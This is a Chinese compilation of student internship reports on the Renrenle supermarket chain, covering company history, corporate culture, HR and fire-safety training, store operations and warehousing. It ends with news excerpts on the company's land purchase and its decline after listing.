人人乐实习报告

人人乐实习报告（共6篇）

人人乐实习报告 篇1

人人乐超市实习报告

班级：物流管理一班 学号：1115080113 姓名：廖国勋

一、实习目的：

通过实习，来加强理论学习与实践的结合，验证和充实所学的理论专业知识，加深对相关知识的理解，接触课堂以外的实践知识，加深了解社会对本专业的需要。培养独立解决问题的能力，并开阔眼界及思路，积累社会经验，为将来步入社会奠定基础，增强我们适应社会的能力。

二、实习单位及岗位介绍：

实习单位为西安市人人乐连锁商业集团股份有限公司时代城店。实习为参观超市，听超市人员讲解商品摆放规则，岗位：游客。

三、实习安排：

合计一天时间，上午参观超市听讲解，下午观看ppt聆听人人乐企业文化。

四、实习内容及过程：

在培训过程中我们了解到，人人乐连锁商业集团股份有限公司是一家大型的连锁商业企业集团，在全国范围内拥有员工17000人以上，自1996年4月成立以来，从小到大，从弱到强，年销售额始终保持快速增长，目前年销售收入已经超过60亿元人民币,获得“深圳市百强企业”、“深圳市商贸流通企业20强”、“广东省百强企业”、“中国服务企业500强”、“中国连锁企业30强”和“中国企业500 服务、休闲、文化于一体，满足顾客“一站式”消费。以先进的经营管理模式、现代化的管理体系、一流的管理团队和超值优良的服务，通过无依赖的市场压力传递，把握和创造商业发展新机遇。

人人乐超市全名为人人乐连锁商业集团股份有限公司。1996年4月1日人人乐注册深圳市人人乐连锁商业有限公司，2002年2月16日更名人人乐连锁商业集团有限公司，业务扩大到崇尚百货、物流公司、tsm软件开发等领域。2007年部分上市，更名人人乐连锁商业集团股份有限公司，2010年1月13日全面上市，发行数量8000万股，发行价26.98元，股票代码002336。

人人乐的起步就面对世界零售业巨头沃尔玛的竞争。通过激烈的市场竞争，人人乐广泛吸收商业零售领域的优秀成果和经验，虚心向国内外优秀企业学习，不遗余力地发展自己的核心技术及核心竞争力，不断实现企业的可持续发展。承受住各种压力和挑战的人人乐，不但在技术装备、店面布置、商品陈设、售卖方式、商品品类的纵深度上与优秀外资企业相差无几，而且在信息、结算、营销策略、商品管理以及服务体系的构架等方面

进行积极开发与创造，用对卓越的孜孜追求打造自身的优势和特色。与外资连锁零售商边打边学一番之后，人人乐从学习皮毛技巧转变到学公司的管理，并将所学的知识广泛地融入到公司竞争力的塑造之中人人乐长期以来一直在眼睛沃尔玛的成本控制技巧，哪怕是很小的环节。人人乐还努力地向国际零售公司一样巩固自己的供应链体系。筹建了人人乐的采购中心。实行全国统一采购，并投资两亿元人民币在深圳建立了4万平方米的物流配送中心，实行商品全国统一配送。此外人人乐还引进了欧美零售公司的排面管理体系（主要指货架和场内摊位管理），对货品和货架进行实施管理和控制。还对全国大型供应商进行品类管理 成立专门面对大客户的管理小组，定向负责跟他们联系，并且和他们共同协商某类商品的销售信息。除了学习国际零售业的先进经验之外，人人乐还不断地研究独特的竞争方法。由于采购规模有限，人人乐目前难以像沃尔玛那样对供应商定价，因此将竞争核心转向毛利的灵活调整。人人乐一直在努力培养一大批本土的中小供应商。在生鲜方面，人人乐探索了自己建立供应基地的方式，直接跟菜农签订单供包销合同，一方面似的供应商稳定，同时又保证了新鲜蔬菜当日上架。在必有品牌的管理方面，人人乐也已经开始探索，并且已经有30多个品牌在商店销售。具有强大学习和消化能力的人人乐，逐渐具有了强大的竞争力获得了“零售狙击手”的称谓。

我们对人人乐的标志也有了深刻的认识。

人人乐超市的标志采取了外圆内方的结构，是大写字母r的变形。半圆指为了适应市场竞争，公司适时调整经营策略，三角代表管理的规范化。红色是火的象征，代表企业开拓进取的精神，蓝色代表科学严谨的管理风格。五大理念：我们在工作中需牢记以下理念：

员工理念：员工是人人乐最宝贵的财富，员工和顾客一样重要； 顾客理念：顾客是我们的贵宾，我们努力为顾客创造价值； 我们努力为顾客节省每一分钱；

文化理念：打败人人乐的只能是我们自己；

经营理念：为顾客创造服务、为员工创造机会、为社会创造财富；

服务理念：始终如一为顾客提供：整洁的环境、优质的商品、实惠的价格、快捷的服务

人人乐的企业目标即成为最优秀的连锁零售企业，企业的核心价值观为zysk，z指整洁的环境，y指优秀的商品，s指实惠的价格，快捷的服务。企业的精神：拼搏、敬业、团队、创新。

心得与体会：

本次外出长沙实习之行，虽然只有一天的时间，但收获颇丰啊。首先我了解到超市一般有百货区，杂货区，生鲜区，而且每个区的商品摆放都是不一样的，都需要一定的技术与技巧，比如摆放的东西要形成规模效应才能吸引顾客的眼球，引发顾客驻足，停留，加大商品销售的机会。然后呢，下午我们听取人人乐培训经理给我们讲的人人乐企业文化，我了解到人人乐是一个文化底蕴，文化气息浓厚的企业，其中员工晋升机会和空间大，并且员工和企业都有一个共同的目标就是优秀，将来我毕业时会首先考虑这个公司。篇二：人人乐实习报告

实习报告

一、实习目的：

通过实习，来加强理论学习与实践的结合，验证和充实所学的理论专业知识，加深对相关知识的理解，接触课堂以外的实践知识，加深了解社会对本专业的需要。培养独立解决问题的能力，并开阔眼界及思路，积累社会经验，为将来步入社会奠定基础，增强我们适应社会的能力。

二、实习单位及岗位介绍：

实习单位为西安市人人乐连锁商业集团股份有限公司北关店，北关正街39号。实习岗位为收银部收银员。在收银台为顾客办理结算，主要有现金结算、购物卡结算、银联卡结算三种结算方式。

三、实习安排：

前两天同人人乐新员工一起接受入职培训，之后在收银台担任收银员工作。

四、实习内容及过程：

实习的前两天我们参加了人人乐超市的新员工入职培训，了解了人人乐的基本情况首先由培训老师陈宏为我们培训，主要有工作习惯，人事管理制度，人人乐简介，人人乐的发展历程，人人乐的标志含义，人人乐的企业文化，公司的构架等。然后由日杂部主管徐敏为我们介绍了卖场的操作流程，卖场的13项要求。再由消防督查对我们培训了消防安全知识，最后由前台主管对我们进行了员工礼仪的培训。

在培训过程中我们了解到，人人乐连锁商业集团股份有限公司是一家大型的连锁商业企业集团，在全国范围内拥有员工17000人以上，自1996年4月成立以来，从小到大，从弱到强，年销售额始终保持快速增长，目前年销售收入已经超过60亿元人民币,获得“深圳市百强企业”、“深圳市商贸流通企业20强”、“广东省百强企业”、“中国服务企业500强”、人人乐致力于大型连锁购物广场的投资与发展，集购物、饮食、娱乐、服务、休闲、文化于一体，满足顾客“一站式”消费。以先进的经营管理模式、现代化的管理体系、一流的管理团队和超值优良的服务，通过无依赖的市场压力传递，把握和创造商业发展新机遇。

其中人人乐的人事管理制度给我留下了深刻印象。人人乐超市制定了严格的人事管理制度，考勤，请假，离职都有严格的规定和程序。考勤规定员工上下班走员工通道，必须打卡，迟到1-15分钟扣十元工资，15-30分钟扣二十元工资，迟到30分钟以上算旷工一次，口三倍工资，缺卡五次可解除劳动合同。其次是请假，试用期3个月，事假超过七天的公司有权解除劳动合同，正式员工一个月事假超过七天不能参评优秀员工，病假需提交病例，病假超过十五天不能参评优秀员工。有薪假，如产假，婚假，丧假，需提供相关证明，婚假在领取结婚证三个月内修，丧假要求死亡者是请假者直系亲属3代以内。请假流程如下：在人力资源部领假条，经所在部门主管和课长同意，将假条拿回人力资源部，假期结束后到人力资源部销假。3天以上的假期需店长同意。最后离职的员工需提前30日书面申请，填写离职申请单，交接清单，经部门主管、店长、人力资源部等逐一签字。严格的人事管理制度保证了人人乐超市日常工作的有序进行，赏罚分明提高 的员工的工作效率，规范了员工的日常行为。

人人乐超市全名为人人乐连锁商业集团股份有限公司。1996年4月1日人人乐注册深圳市人人乐连锁商业有限公司，2002年2月16日更名人人乐连锁商业集团有限公司，业务扩大到崇尚百货、物流公司、tsm软件开发等领域。2007年部分上市，更名人人乐连锁商业集团股份有限公司，2010年1月13日全面上市，发行数量8000万股，发行价26.98元，股票代码002336。

人人乐的起步就面对世界零售业巨头沃尔玛的竞争。通过激烈的市场竞争，人人乐广泛吸收商业零售领域的优秀成果和经验，虚心向国内外优秀企业学习，不遗余力地发展自己的核心技术及核心竞争力，不断实现企业的可持续发展。承受住各种压力和挑战的人人乐，不但在技术装备、店面布置、商品陈设、售卖方式、商品品类的纵深度上与优秀外资企业相差无几，而且在信息、结算、营销策略、商品管理以及服务体系的构架等方面进行积极开发与创造，用对卓越的孜孜追求打造自身的优势和特色。与外资连锁零售商边打边学一番之后，人人乐从学习皮毛技巧转变到学公司的管理，并将所学的知识广泛地融入到公司竞争力的塑造之中人人乐长期以来一直在眼睛沃尔玛的成本控制技巧，哪怕是很小的环节。例如沃尔玛公司的长途电话旁都有专门提示，请打ip电话。人人乐也在办公区的复印机旁写上，打印请尽量使用双面，不必要的尽量不打。人人乐还努力地向国际零售公司一样巩固自己的供应链体系。筹建了人人乐的采购中心。实行全国统一采购，并投资两亿元人民币在深圳建立了4万平方米的物流配送中心，实行商品全国统一配送。此外人人乐还引进了欧美零售公司的排面管理体系（主要指货架和场内摊位管理），对货品和货架进行实施管理和控制。还对全国大型供应商进行品类管理 成立专门面对大客户的管理小组，定向负责跟他们联系，并且和他们共同协商某类商品的销售信息。除了学习国际零售业的先进经验之外，人人乐还不断地研究独特的竞争方法。由于采购规模有限，人人乐目前难以像沃尔玛那样对供应商定价，因此将竞争核心转向毛利的灵活调整。人人乐一直在努力培养一大批本土的中小供应商。在生鲜方面，人人乐探索了自己建立供应基地的方式，直接跟菜农签订单供包销合同，一方面似的供应商稳定，同时又保证了新鲜蔬菜当日上架。在必有品牌的管理方面，人人乐也已经开始探索，并且已经有30多个品牌在商店销售。具有强大学习和消化能力的人人乐，逐渐具有了强大的竞争力获得了“零售狙击手”的称谓。人人乐总裁何金明认为，外资全面进入只能在某些区域快速形成垄断优势，但不可能占据全国，因此人人乐必须抢在区域市场上占据主动。正因为如此，人人乐集团在扩张中舍弃了一些能快速盈利的很有诱惑力的城市，创造了独特的“走中部炸两翼” 战略，即在华南、西南、西北、华北四个战略要地先站稳，在这些区域成熟时在以此为基地向两边拓展。比如西北地区先占领西安；华北地区就避开北京，先攻天津；暂时避开华东，因为经营成本太高。为了更稳定地管理全国的连锁业务，人人乐集团成立了集团投资中心和区域管理中心，集团在资源配置、经理人、管理权、监控权等方面对区域中心全力支持，并把资产拨给区域中心。战略构架之后的第二保障就是扩张资金问题。零售业扩张对现金流要求非常高。按照国际通行的做法，人人乐集团几乎不使用银行贷款，银行的授信贷款大多用于短期供应商票据贴现。第三个风险就是对

管理水平的提升。零售业瓶颈是人才，是否有足够的人才去适应大规模开店的要求，是否有足够的规模化管理能力和技术去整合全国范围的整体运营，是人人乐面临的潜在挑战。在短短几年时间，人人乐成功构建了全国性的连锁商业网络。目前，人人乐在华南、西北、西南华北等区域拥有大型购物商场数十家，并以快速的发展和稳定增长的业绩，向远大的理想和目标前进。

我们对人人乐的标志也有了深刻的认识。人人乐超市的标志采取了外圆内方的结构，是大写字母r的变形。半圆指为了适应市场竞争，公司适时调整经营策略，三角代表管理的规范化。红色是火的象征，代表企业开拓进取的精神，蓝色代表科学严谨的管理风格。五大理念：我们在工作中需牢记以下理念：

员工理念：员工是人人乐最宝贵的财富，员工和顾客一样重要； 顾客理念：顾客是我们的贵宾，我们努力为顾客创造价值； 我们努力为顾客节省每一分钱；

文化理念：打败人人乐的只能是我们自己；

经营理念：为顾客创造服务、为员工创造机会、为社会创造财富； 服务理念：始终如一为顾客提供：整洁的环境、优质的商品、实惠的价格、快捷的服务 人人乐的企业目标即成为最优秀的连锁零售企业，企业的核心价值观为zysk，z指整洁的环境，y指优秀的商品，s指实惠的价格，快捷的服务。企业的精神：拼搏、敬业、团队、创新。拼搏

我们是商业企业，我们每天都在从事着细小的、琐碎的甚至是十分艰苦的工作，但正是这些工作给顾客带来了方便，给社会创造了财富，为我们实现人生目标提供了舞台。因此，我们要努力做好每一项工作，不断超越自我，提升自己的能力。

敬业

我们热爱商业工作，我们更爱我们的顾客；我们是职业人，敬业是做好职业人的首要条件，一个不敬业的人在事业上是不会得到良好发展的；同样，没有敬业的员工，便不会有人人乐的快速发展。敬业精神是市场经济的需求，更是追求成功的企业与个人的需求。

团队

人人乐是一个优秀的团队。我们要成为最优秀的员工，就意味着要不断超越自我，以最严格的标准要求自己，只有每一个员工都优秀，人人乐才会最优秀。员工之间不分高低、贵贱，从总裁到一线员工都是亲密的同事与伙伴。我们要牢记：握紧拳头才会有力量，团结是人人乐战胜竞争对手的法宝；打败人人乐的只能是我们自己。

创新

创新是人人乐的生命源泉。工作中的每一个岗位都需要不断的创新，合理化建议是创新的源泉；大胆设想，大胆构思，在创新中实现自我价值；始终保持创新的激情与进取的锐气，通过创新追求工作的最佳水平

与最高目标。

文化品格：

诚信 责任 追求

诚信 君子以诚信为安身立命之本。言必行，行必果；小信诚，大信立。“大诚信”其实就是“大智慧”。按市场规律办事的最大方向，就是“对别人有利的，才是对自己有利的。”诚信，是对社会、对人的一种诚恳态度。企业对待员工的诚信，体现在真诚相见、有诺必达；员工对于企业的诚信，体现在恪尽职守、忠诚敬业；企业对于社会的诚信，体现在积极、主动地履行社会责任，倡导诚信的商业伦理。

责任

责任就是应尽的义务，是份内应做的事，是应承担的过失；责任也是一种勇于负责的生活态度和工作作风。要敢于对自己的言行负责，对工作负责，对团队负责，对社会负责，只有勇于负责的企业和人，才能获得信任和尊重，得到更好的发展。人人乐倡导责任意识，无论对员工，对顾客，对社会，都主动承担责任，而不推卸责任；积极面对责任，而不逃避责任；认真看待责任，而不游戏责任。同时，倡导员工把企业的事当自己的事，愿意承担责任，并且有能力承担责任。追求

追求，表达了企业不断追求理想永不停步，不断追求更高的目标。在任何时候都不能有功成名就的心态，要为企业做强、做大而不断地努力，这种对于事业成功的终极追求，体现了全体人人乐人远大的志向与目标。

我们了解到人人乐自创立以来，获得了许多的荣誉。1997年 深圳市南山区先进企业,广东省诚信单位,重合同守信用企业 1998年 深圳市不经销假冒伪劣商品商店,重合同守信用企业 1999年 深圳市先进单位,重合同守信用企业

2000年 深圳市连锁商业先进单位,深圳市文明企业,重合同守信用企业 2001年 深圳市工商领域百强企业,深圳市消费者最喜爱的名牌商场,中国连锁百强,企业重合同守信用企业 2002年 深圳市工商领域百强企业,深圳市消费者最喜爱的名牌商场,中国连锁30强,全国商业优质服务先进单位,中国企业500强企业,重合同守信用企业,深圳市质量信誉包正品牌企业

2003年 深圳市工商领域百强企业,深圳市消费者最喜爱的名牌商场,中国连锁30强企业,广东省诚信经营优秀门店,中国企业500强,重合同守信用企业,深圳市守法纳税大户,广东企业100强,国家信息网络优秀定点商场,深圳市工商信息先进单位 2004年 中国企业500强，中国连锁百强，全国连锁30强企业，深圳市企业百强，深圳市商贸流通企业20强 2005年 中国企业500强，中国服务500强，中国连锁30强，深圳市企业100强 2006年 中国企业500强，中国服务500强，中国连锁30强，广东省首届诚信示范企业

陈宏老师为我们介绍了人人乐超市的构架。

人人乐超市分为商品区和职能区。商品分为食品区、非食品区、生鲜区。食品区分为四个部，分别是烟酒饮料部、休闲食品部、粮油调料部、冷冻冷藏部。非食品区分为家电部、洗化部、针纺部、日杂文体部。生鲜区分为果蔬部、鲜肉水产部、熟食部、面包部。

第二天日杂部主管主要介绍了买场操作流程，和商品陈列原则。

卖场的操作流程共十项：标价签、市场调查、大宗购物、商品陈列、pop海报、商品质量管理、开发票、商品退换货、补货、突发事假处理。标价签要求明码标价，放置在商品左下方，不可以随意涂改。商品陈列遵循7个原则，即容易辨别原则、显而易见原则、伸手可取原则、满陈列原则、先进先出原则、关联性原则、同类商品垂直陈列原则。

退换货七日内凭小票办理，坚持“四为主”“三一样”。“四为主”：可退可不退以退为主，可换可不换以换为主、可修可不修以修为主、分不清责任以我为主。“三一样”：买前买后一个样，买多买少一个样，买与不买一个样。非质量问题不退，影响再次销售不退，降价特价处理商品不退，消耗性商品（电池、胶卷、烟酒等）不退。

近几年来，城市火灾的发生频率成上升态势，对火灾的预防显得越来越重要。火灾的预防措施主要有控制可燃物，隔绝助燃物，消除着火源，阻止火势蔓延四个方面。

火灾分为五类：a类火灾指固体物质火灾，b类火灾指液体火灾和事溶化固体物质火灾（石蜡、沥青等），c类火灾指气体火灾，包括天然气煤气等，d类火灾指金属火灾（钾、钠、镁、铝、磷）e类火灾指其它火灾，如带电火灾。

大型超市营业面积大人员密度较高，可燃物多，用电照明设备多，一旦发生火灾容易造成较大伤亡。因此员工的消防安全知识的培训非常必要。人人乐要求员工做到“四懂四会”：懂得火灾的危害性、懂得火灾防范措施、懂得火灾扑救方法、懂得火场逃生；会报警、会使用灭火器材、会扑救初期火灾、会组织人员疏散与自救。火灾一般有以下几个征兆：闻到烧焦的气味，忽然停电，见到烟闻到烟味，听到玻璃破碎声，有人喊着火了。这是员工要按照先人后物，先老弱病残后一般，先易燃易爆后一般，先精密贵重后一般的疏散原则进行疏散。

消防安全工作的工作原则为，政府统一领导，部门依法监管，单位全面负责，公民积极参与。发生火灾报警首先要讲明起火单位名称，地址，其次要说明建筑物特点，起火物质，火势大小，再次说明报警人姓名，所使用的电话，最后派人到路口接应，引导消防车迅速进入火场。人人乐采用三级安全教育制度，分别为公司级、部门级、班组级。三级合格才可以领取工牌。

火灾的扑救方法共四种。第一种是冷却法，将温度降低到燃点以下。其次是隔离法，是燃烧物与未燃物分开，已达到限制火灾范围的目的。第三种是窒息法，由于燃烧需要氧气助燃，可以用隔绝空气或氧气的方法阻止燃烧。第四种是抑制法，抑制连锁反应，例如用灭火器。

前台主管李娟娟对我们进行了员工礼仪的培训。

员工礼仪的基本原则为整洁、健康、开朗。员工礼仪要做到“八个必须”： 1必须向每一位顾客微笑 2顾客询问必须有问有答

3与顾客沟通首先使用问候语篇三：人人乐收货部实习报告

陕西国防工业职业技术学院

人人乐实习报告

院 系 经济管理学院

专 业

班 级

姓 名 青儿

学 号

指导教师 二○一二年十二月六日

陕西国防工业职业技术学院

经济管理学院

毕 业 实习报 告 任 务 书

专业班级 姓名 青儿 学号

一、报告题目 人人乐-实习报告

二、报告工作自 2012 年 11 月8日起至 2012年12月19日止

三、报告的基本要求：

1.到企业做实地调查，并撰写实习调查报告； 2.及时与指导教师联系，并按时向指导教师提交论文； 3.按照规定的写作格式和排版格式进行提交； 4.论文字数要求一般在6000字以上。

指导教师：

陕西国防工业职业技术学院

经济管理学院

毕业实习报告考核评议书

题目：人人乐实习报告

人人乐实习报告

摘 要

毕业实习是大学一次重要的实践性教学环节。通过毕业实习不仅可可以使我们在时间过程中接触与专业相关的实际工作，了解未来就业工作环境；还能增强我们的感性认识培养和锻炼我们综合运用所学的基础理论、基本技能和专业知识。通过实习把理论和实际结合起来，是我们的专业综合能力。本次实习通过人人乐培训和顶岗实习学习到了更多书本上没有的东西，为以后的就业打下了坚实的基础。

关键词：

学习；实践； 经验

目录

一、实习目的............................................................................................................6

二、人人乐企业文化.................................................................................................7

三、实习具体过程.....................................................................................................7 3.1学习期..........................................................................................................8 3.2成长期..........................................................................................................8 3.3成熟期..........................................................................................................9

四、实习总结与建议..............................................................................................11 4.1.实习工作的总结...........................................................................................11 4.2实习的收获.................................................................................................12 4.3.建议与想法.................................................................................................12 4.4实习心得....................................................................................................13 总结：....................................................................................................................14 致

谢....................................................................................................................15 参考文献.................................................................................................................16篇四：人人乐超市实践总结

人人乐超市实践总结

我于#月#日—#月#日去了人人乐进行了为期十天的实习，以前经常在人人乐购物，因而对它一点也不陌生，不过这次是自己作为实习生，出发点，目的和带学生是不同的，因此这次还是有点期待和忐忑。下面就这次实习做一个总结。

首先对超市与超市的业务有所了解。到了人人乐以后，店长让我先了解了企业的发展历史，企业文化，以及门店的运作流程，门店各部分的设备，各种不同的货架，它们是如何称呼的，用处又有那些不同，还有超市的布局，商品的陈列，人员招聘，以及岗位人员配置标准，还了解了一下超市收银的工作流程，岗位职责，以及超市的客服部，会员卡制度等等。收获还是挺大的，现实中做一件事的目的比实际工作中的目的要多得多。还有平时对他们超市各部门的了解，有这么一个感受，就是超市所有部门都是核心部门，各个部门之间，通过分工明确，协调工作，为顾客提供一个高质量服务，完美购物环境体验，最终增加超市营业额。

比如，商品首先要通过收货部验收，接受质量好的商品，根据商品条码等相关信息录入系统，为财务和收银等等提供相关信息。其次商品被商品部按照相关知识和规定进行上架排放，同时保障商场卫生等等提供一个舒服购物环境，经营管控部，对商品进行检查，防止商品质量出现问题或是标价出现问题。促销部，根据店总安排，举行一些促销活动，对顾客人流进行引导。顾客购买商品，这时候就是收银部的工作了。如果这中间出现什么问题，就需要客服部进行调节。

其次就是对我业务技能有所提高，以后在教书的过程中，还应给学生灌输职业意识，这是从一些学生实习生身上看到的。首先要叫他们进入社会后最需要调整的就是心态。她们并不是什么天之骄子，也没有什么可以值得炫耀的资本，而从学校走出就直接到一个公司最基层上班，接受公司严格的规章制度约束，以及体力，心力上等等的挑战，当然会使很多同学落差很大。这中间最大的挑战就是我们自己心理上的调整。要有一切归零心态，从零开始，我们不可以改变环境，只有改变自己来适应这个环境。

最后就是一次实习并不能让我全面了解超市，因为人家很忙，都是我不断的询问，才了解了一些东西，还有一些如相关知识上超市物流，仓储等等还没有接触到。以后呢，对这些相关知识以及与自己相关知识的要进一步学习加强，如数据库，管理学，物流学，计算机，财务会计，营销渠道管理等等。很多工作都是

一项需要挑战一个人综合能力的，在工作中，我认识到了自身知识不足和优势，这促使我改进和加强。

总而言之，人生通过学习才能不断的进行自我提升的，但是这最大的收获，是让我认清了我自己身上的优势和不足，以及如何去规划自己的时间，工作，生活，使我的许多目标变的清晰。篇五：人人乐超市实践报告ok 人人乐大型连锁超市市场

营销环境分析报告

内容提要：浅谈人人乐大型超市企业背景以及市场营销环境。

关键词：人人乐 大型连锁超市 市场营销环境 仓储管理

人人乐超市与大型超级市场一样有着自己的经营场所，商品种类了很多，增加了生鲜及现场制作品等。大型超级市场是目前国内零售企业与外资零售企业竞争的焦点，这一类零售企业也使目前国内发展最快的业态之一，它较大和舒适的营业环境，齐全的商品种类，受到广大消费者的青睐。一般的价格政策和价格形象是最优的品质和价格，主要以天天平价吸引顾客。大型超级市场出租场地给商品品项相关联的供应商，以降低经营成本，化解由于选址的中心城区化所带来的经营压力。然而人人乐也为我国的人口就业做出了贡献，他有着他自己的团队，有自己的宗旨。

大型超级市场有价格优势，既打压了传统的百货商店，同时又挤压了中国刚

刚发展起来的综合度较差的中小型超级市场。另外，销售方式和经营方式的革命性，自助式的销售方式及连锁化经营，特别是大型超级市场以低廉的价格使消费者得到切实的利益，使大型超级市场具有新生业态的强大生命力。

随着经济的不断发展以及竞争的日渐加剧，它们不停地调整与磨合，最终表现出一定的规律性发展趋势。

根据国内外大型超级市场发展情况，可归纳出以下几点规律性的发展趋势: 1.国际化 2.规模化

3.高科技的广泛应用 4.发展自有品牌 5.统一采购配送 6.增加顾客服务项目

人人乐成立于1996年4月。公司主营业务为大卖场、综合超市和百货的连锁经营。截止2009年6月30日，人人乐已在全国开设门店82家，网点遍布广东、陕西、四川、天津、重庆、广西、福建、湖南等省区的数十个大中城市，总营业面积超过107万平方米，并初步完成了华南、西北、西南、华北四个营运大区的全国发展战略布局。2008年实现销售收入近77亿元，位居中国连锁百强企业第31位和中国快速消费品连锁百强企业第18位。人人乐秉承“立足深圳、扎根广东、面向全国”的发展战略，以“关爱生活，服务社区”为经营理念，以“拼搏、敬业、团队、创新”为企业精神，努力践行着“为顾客提供整洁的环境、优质的商品、实惠的价格、快捷的服务——我们始终如一”的价值理念，致力于创建企业、员工、供应商和谐共赢的合作伙伴关系，并成长为全国优秀的大型现代零售企业集团和民族商业龙头企业。

第一家人人乐购物广场于1996年7月1日在深圳南山区开业。在与实际零售巨头家乐福和沃尔玛的竞争中，逐渐为顾客喜爱，现在人人乐在全国已拥有80多间购物广场，储备40多家。人人乐以“努力为顾客提供：整洁的环境、优质的商品、实惠的价格、快捷的服务。——我们始终如一。”为价值理念，购物广场以非食品商品为特色，从面包房、熟食、冷冻食品、肉类、奶制品以及蔬果品种包罗万象，努力为顾客节省时间和开支，满足顾客一站式的购物需求，并通过大规模销售，让消费者物选购到美价廉的商品，体验到购物乐趣。无论是在人人乐购物广场还是在人人乐超市，为确保顾客的需要得到满足，每一个员工都致力于为顾客提供优质的服务。然而人人乐超市仓储管理体质如下：

（一）制定收货作业制度，规范了收货作业的流程，加强收货管理

（二）重视仓储各个环节管理

仓储的主要环节包括：物流配送----收货组织----入仓管理----出库管理 人人乐配送中心委托配送；这种 多家供应商----配送中心------多家门店 的模式比前三种模式都来的合算，本来一家供应商要配送多家网点，现在只要将所有门店的订单合并送 到配送中心，订单的分散---集中---再分散。由于是人人乐自己参与配送使得结算成本也得以降低。当然，最受益的还有各门店的收货效率得以大大提高。

“供应商第三方物流”与“供应商联合配送”是现实情况下比较合理的一种配送选择；许多第三方物流甚至专门为向人人乐这样的大型连锁超市设立了项目组，将同一项目内的订单合并配送，降低了成本，同时也可以低成本争取更多的客户。而这两种方式是有效的补充。

（三）运用沟通和协调手段切实提高收货效率

采用商家和供应商的同步物流

“同步物流”有两方面的含义，一是对商家和供应商对物流方式的约定，应尽量使至少70%的供应商纳入人人乐统一配送体系，同时由于市场的动态变化，允许临时的供应商加急自行配送送货；对未纳入体系的30%的供应商则共同协商制定合理的最低起订量，送货日程等，从更全面的视野有意识集中或错开各门店订单日期和送货日安排，尽量避免送货资源不充分或富余的现象；错开时间发送订单。

二是商家和供应商对订单金额或数量的约定，即设立双方都同意的一个最低起订量或金额，这样可以兼顾双方的利益诉求。如此可以大大压缩订单的数量又可以保证供应商积极送货，提高收货效率并控制一定的库存成本。

以上措施需要双方非常细致的沟通和协调，根据实际情况定期更新约定，不一定能保证十全十美，但操作不难，可以改善物流的前程环节，带来的效益会很明显。

（四）加强仓储制度建设

（五）想方设法调动员工积极性

一是轮岗制；轮岗制度可以减少重复工作导致的工作厌倦，同时增加岗位的可替代性可以降低人员离职对工作带来的风险。

二是工资倾斜制度；工作强度可以用工资的倾斜来平衡。

三是晋升机制；晋升制度可大大激励员工岗位成材，稳定员工队伍。四是强化培训作用；培训可以改造员工也可鼓励员工，并使得队伍向专业化发展。在物流和仓储岗位引入上述制度可以切实降低人力成本，提高团队的工作效能，而且简单易行。

自我总结：对我个人而言，我想以后不管做什么事情的时候，特别是很重要的一些事情上，尤其要冷静理性。让我认清了我自己身上的优势和不足，以及如何去规划自己的时间，工作，生活，使我的许多目标变的清晰。让我认识到如果做一件很重要的事情，一时还无法决断，这时候，应该停一停，多听听身边人和有智慧人的的意见，或不要马上决定，考虑一下再决断。

结论：人人乐大型连锁超市是具有一定潜力的，仍然有发展的空间，但是要注意同行业的动作，利弊均衡的看待，有效的发挥企业的自身价值, 各方面向世界一流的流通企业看齐。

人人乐实习报告 篇2

据悉, 该地位于江西省新余市仙来大道与劳动北路交叉处的东南角, 面积为2.4万平方米, 土地使用年限为40年。公司表示, 本次土地使用权竞拍将用于购物中心及相关配套的建设, 符合公司的发展战略, 有利于公司的长远规划及发展。

者的不满。

昨天下午, 淘宝给出了“1元门”事件的处理结果:道歉;涉及软件公司赔偿每个用户10元;交易退款。但是, 淘宝对于自己在其中的责任撇得干干净净, 引发买家对该处理结果的不满。

自救无期人人乐 篇3

2010年1月，人人乐成功在深交所上市。当年，其全国门店数达78家，营收突破百亿元，店面数量年增幅28.1%，彼时的家乐福和沃尔玛，店面年增幅均在20%左右。上市后，人人乐每股股价最高达到30多元，何金明家族的财富也一度达到90亿元，被业内称为“超市大王”，可谓风光一时，尤其是其家族在上市公司的控股比例之高，是众多零售企业无法比拟的，人人乐家族在出售股份上市后至今，依然保持着75%的控股权。

但在2014年，人人乐关闭18家门店，全年营收较去年同期下降4.71%，净利润巨额亏损5.89亿元。当年和家乐福等外资超市抢夺市场还能风光无限的人人乐，早已一去不返，人人乐为什么会走到今天这样的不堪境地？

上市快跑下的蛋

人人乐上市前的布局和发展不能不说是顺风顺水，先后设立华南、西北、西南、华北四个营运大区，网点覆盖几十个大中城市，并取得一定规模优势和竞争优势，成功实现跨区域连锁经营，跻身中国连锁百强。

上市前人人乐风光无限，上市后却风头急转。经营业绩逐年下滑：2010年净利润2.37亿元，2011年1.69亿元，2012年则亏损8961万元，2013年虽扭亏为盈，但净利润也只有2367万元，到了2014年，亏损近6亿元。

伴随销售业绩下滑，人人乐的股价就这么掉头急转直下，2014年最低跌破9元，目前也仅有12元左右，下跌超过六成。是什么让这个号称民营连锁零售企业第一股的典型代表，在经营上节节败退呢？

如果我们从目前各项统计数据来看，人人乐的天时地利人和都在这一段时间出现了问题：

电商抢市 从销售结构和模式上看，人人乐到今天还是利用传统的超市食品、家电、日化、家居用品来获得收益，但电商的快速崛起，给包括人人乐在内的几乎所有传统门店带来巨大打击。

培育期亏损 通常人人乐新店的培育期平均为9.62个月，这个时期通常有几个影响经营状况的因素：

消费者的认知过程。消费者从认知、认可一个新门店，到将门店作为经常性购物消费场所需要一个时间过程，流量会偏少。

门店适应消费者也需要一个过程。一般开业初期，门店对商圈内消费者的消费习惯、商品结构等不够了解，未必符合消费者需求，需要时间调整。

门店促销行为。为吸引、拥有相对稳定的客流，开业初期商品定价较低，促销力度会较大，毛利率较低，同时促销费用投入也大，商品售价的提升是一个持续的过程。

战略性亏损 为实现公司经营区域的战略布局，拓展新区域也会形成暂时的亏损。人人乐没有很好地延续重点区域重点攻克、集束发展的特长，而是快速在各个区域扩张。这样做无疑会出现几个导致亏损的隐忧。

一是，公司在每个战略区域成立子公司，就需要新设管理行政部门，进入新区域后由于门店数量较少，分摊到每个门店的管理费用自然较多。

二是，公司进入新区域，在形象、广告宣传、营销策划等方面需要较高的前期投入。

三是，销售规模较小时，日常配送量较小，单位商品配送成本较高；对区域采购商品而言，如果子公司销售规模较小时，在当地的议价能力较低，面临较高的采购成本。

四是，公司新区域知名度较低，当地消费者对门店购物环境、商品价格、服务态度等没有任何感知，从而影响门店客流量。

